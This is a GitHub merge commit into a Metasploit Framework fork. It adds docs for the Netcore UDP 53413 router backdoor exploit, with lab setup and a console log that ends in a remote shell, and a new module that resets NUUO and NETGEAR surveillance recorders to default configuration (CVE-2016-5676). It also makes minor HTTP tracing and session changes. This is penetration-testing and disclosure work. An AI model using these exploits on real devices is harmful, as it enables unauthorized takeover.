Skip to content

Commit b38ba54

Browse files
author
Pedro Ribeiro
authored
Merge pull request #31 from rapid7/master
aa
2 parents 2b70a1b + de16a6d commit b38ba54

File tree

21 files changed

+1315
-128
lines changed

21 files changed

+1315
-128
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.12.17)
4+
metasploit-framework (4.12.18)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
### Vulnerable Devices
2+
Trend Micro lists "almost all" models as being vulnerable in August 2014.
3+
4+
Vulnerable AND Exploitable:
5+
6+
1. Netcore NI360 second-generation
7+
8+
Vulnerable, but not Exploitable via this module (details later):
9+
10+
1. Netis WF2414 firmware V1.4.27001
11+
12+
### Lab Emulation
13+
1. Install qemu
14+
2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt)
15+
3. Starts the mipsel lab
16+
1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413`
17+
4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it.
18+
1. `scp -P22222 vuln_squashfs-root.tar.gz [email protected]:/root`
19+
2. `tar xvf vuln_squashfs-root.tar.gz`
20+
5. Run vuln programs.
21+
1. `cd nw614 && chroot . /bin/igdmptd`
22+
23+
## Verification Steps
24+
25+
1. Install the emulator/hardware
26+
2. Start msfconsole
27+
3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor`
28+
4. Do: `set RHOST <ip>`
29+
5. Do: `check`
30+
6. Do: `exploit`
31+
7. You should get a shell.
32+
33+
## Exploitability
34+
35+
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit.
36+
During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted.
37+
In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell.
38+
39+
## Scenarios
40+
41+
The following is an example of a vulnerable AND EXPLOITABLE router.
42+
43+
```
44+
use exploits/linux/misc/netcore_udp_53413_backdoor
45+
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
46+
RHOST => 192.168.1.1
47+
msf exploit(netcore_udp_53413_backdoor) > check
48+
[+] The target is vulnerable.
49+
msf exploit(netcore_udp_53413_backdoor) > run
50+
51+
[*] Started reverse TCP handler on 192.168.1.2:4444
52+
[*] Exploiting...
53+
[*] Command Stager progress - 12.54% done (196/1563 bytes)
54+
[*] Command Stager progress - 25.08% done (392/1563 bytes)
55+
[*] Command Stager progress - 37.62% done (588/1563 bytes)
56+
[*] Command Stager progress - 50.16% done (784/1563 bytes)
57+
[*] Command Stager progress - 62.70% done (980/1563 bytes)
58+
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
59+
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
60+
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
61+
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
62+
63+
pwd
64+
/
65+
ls
66+
bin
67+
cfg
68+
dev
69+
etc
70+
lib
71+
linuxrc
72+
log
73+
proc
74+
sbin
75+
sh
76+
sys
77+
tmp
78+
usr
79+
var
80+
web
81+
```
82+
83+
The following is an example of a vulnerable but NOT expoitable router.
84+
85+
```
86+
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
87+
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
88+
rhost => 192.168.1.1
89+
msf exploit(netcore_udp_53413_backdoor) > check
90+
91+
[+] Backdoor Unlocked
92+
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
93+
[*] The target service is running, but could not be validated.
94+
```

lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.12.17"
33+
VERSION = "4.12.18"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

lib/msf/base/sessions/command_shell.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ def self.type
5050
def initialize(*args)
5151
self.platform ||= ""
5252
self.arch ||= ""
53+
self.max_threads = 1
5354
super
5455
end
5556

@@ -235,6 +236,7 @@ def reset_ring_sequence
235236

236237
attr_accessor :arch
237238
attr_accessor :platform
239+
attr_accessor :max_threads
238240

239241
protected
240242

lib/msf/base/sessions/meterpreter.rb

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,9 @@ def initialize(rstream, opts={})
6969
# Don't pass the datastore into the init_meterpreter method
7070
opts.delete(:datastore)
7171

72+
# Assume by default that 10 threads is a safe number for this session
73+
self.max_threads ||= 10
74+
7275
#
7376
# Initialize the meterpreter client
7477
#
@@ -323,6 +326,27 @@ def update_session_info
323326
username = self.sys.config.getuid
324327
sysinfo = self.sys.config.sysinfo
325328

329+
self.platform =
330+
self.sys.config.sysinfo["Architecture"].downcase + '/' +
331+
self.platform.split('/')[0] +'/' +
332+
case self.sys.config.sysinfo['OS']
333+
when /windows/i
334+
Msf::Module::Platform::Windows
335+
when /darwin/i
336+
Msf::Module::Platform::OSX
337+
when /freebsd/i
338+
Msf::Module::Platform::FreeBSD
339+
when /netbsd/i
340+
Msf::Module::Platform::NetBSD
341+
when /openbsd/i
342+
Msf::Module::Platform::OpenBSD
343+
when /sunos/i
344+
Msf::Module::Platform::Solaris
345+
else
346+
Msf::Module::Platform::Linux
347+
end.realname.downcase
348+
349+
326350
safe_info = "#{username} @ #{sysinfo['Computer']}"
327351
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
328352
# Should probably be using Rex::Text.ascii_safe_hex but leave
@@ -474,6 +498,7 @@ def create(param)
474498
attr_accessor :skip_ssl
475499
attr_accessor :skip_cleanup
476500
attr_accessor :target_id
501+
attr_accessor :max_threads
477502

478503
protected
479504

lib/msf/core/exploit/http/client.rb

Lines changed: 50 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,8 @@ def initialize(info = {})
5454
Opt::SSLVersion,
5555
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
5656
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
57-
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
57+
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
58+
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false])
5859
], self.class
5960
)
6061

@@ -324,9 +325,30 @@ def send_request_raw(opts={}, timeout = 20)
324325
begin
325326
c = connect(opts)
326327
r = c.request_raw(opts)
327-
c.send_recv(r, actual_timeout)
328-
rescue ::Errno::EPIPE, ::Timeout::Error
328+
329+
if datastore['HttpTrace']
330+
print_line('#' * 20)
331+
print_line('# Request:')
332+
print_line('#' * 20)
333+
print_line(r.to_s)
334+
end
335+
336+
res = c.send_recv(r, actual_timeout)
337+
338+
if datastore['HttpTrace']
339+
print_line('#' * 20)
340+
print_line('# Response:')
341+
print_line('#' * 20)
342+
print_line(res.to_s)
343+
end
344+
345+
res
346+
rescue ::Errno::EPIPE, ::Timeout::Error => e
347+
print_line(e.message) if datastore['HttpTrace']
329348
nil
349+
rescue ::Exception => e
350+
print_line(e.message) if datastore['HttpTrace']
351+
raise e
330352
end
331353
end
332354

@@ -343,12 +365,35 @@ def send_request_cgi(opts={}, timeout = 20)
343365
actual_timeout = opts[:timeout] || timeout
344366
end
345367

368+
print_line("*" * 20) if datastore['HttpTrace']
369+
346370
begin
347371
c = connect(opts)
348372
r = c.request_cgi(opts)
349-
c.send_recv(r, actual_timeout)
350-
rescue ::Errno::EPIPE, ::Timeout::Error
373+
374+
if datastore['HttpTrace']
375+
print_line('#' * 20)
376+
print_line('# Request:')
377+
print_line('#' * 20)
378+
print_line(r.to_s)
379+
end
380+
381+
res = c.send_recv(r, actual_timeout)
382+
383+
if datastore['HttpTrace']
384+
print_line('#' * 20)
385+
print_line('# Response:')
386+
print_line('#' * 20)
387+
print_line(res.to_s)
388+
end
389+
390+
res
391+
rescue ::Errno::EPIPE, ::Timeout::Error => e
392+
print_line(e.message) if datastore['HttpTrace']
351393
nil
394+
rescue ::Exception => e
395+
print_line(e.message) if datastore['HttpTrace']
396+
raise e
352397
end
353398
end
354399

lib/msf/core/module/platform.rb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -409,6 +409,10 @@ class V10
409409
Rank = 700
410410
Alias = "10"
411411
end
412+
class V11
413+
Rank = 800
414+
Alias = "11"
415+
end
412416
end
413417

414418
#
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
16+
'Description' => %q{
17+
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
18+
to an administrator password reset on the exposed web management interface.
19+
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
20+
(before v1.7.6), otherwise you need an administrative user password.
21+
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
22+
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
23+
in those devices.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['CVE', '2016-5676'],
33+
['US-CERT-VU', '856152'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
35+
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
36+
],
37+
'DefaultTarget' => 0,
38+
'DisclosureDate' => 'Aug 4 2016'))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8081),
43+
OptString.new('TARGETURI', [true, "Application path", '/']),
44+
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
45+
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
46+
], self.class)
47+
end
48+
49+
50+
def run
51+
res = send_request_cgi({
52+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
53+
'vars_get' => { 'cmd' => "loaddefconfig" }
54+
})
55+
56+
if res && res.code == 401
57+
res = send_request_cgi({
58+
'method' => 'POST',
59+
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
60+
'vars_post' => {
61+
'user' => datastore['USERNAME'],
62+
'pass' => datastore['PASSWORD'],
63+
'submit' => "Login"
64+
}
65+
})
66+
if res && (res.code == 200 || res.code == 302)
67+
cookie = res.get_cookies
68+
else
69+
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
70+
end
71+
res = send_request_cgi({
72+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
73+
'cookie' => cookie,
74+
'vars_get' => { 'cmd' => "loaddefconfig" }
75+
})
76+
end
77+
78+
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
79+
print_good("#{peer} - Device has been reset to the default configuration.")
80+
else
81+
print_error("#{peer} - Failed to reset device.")
82+
end
83+
end
84+
end

0 commit comments

Comments
 (0)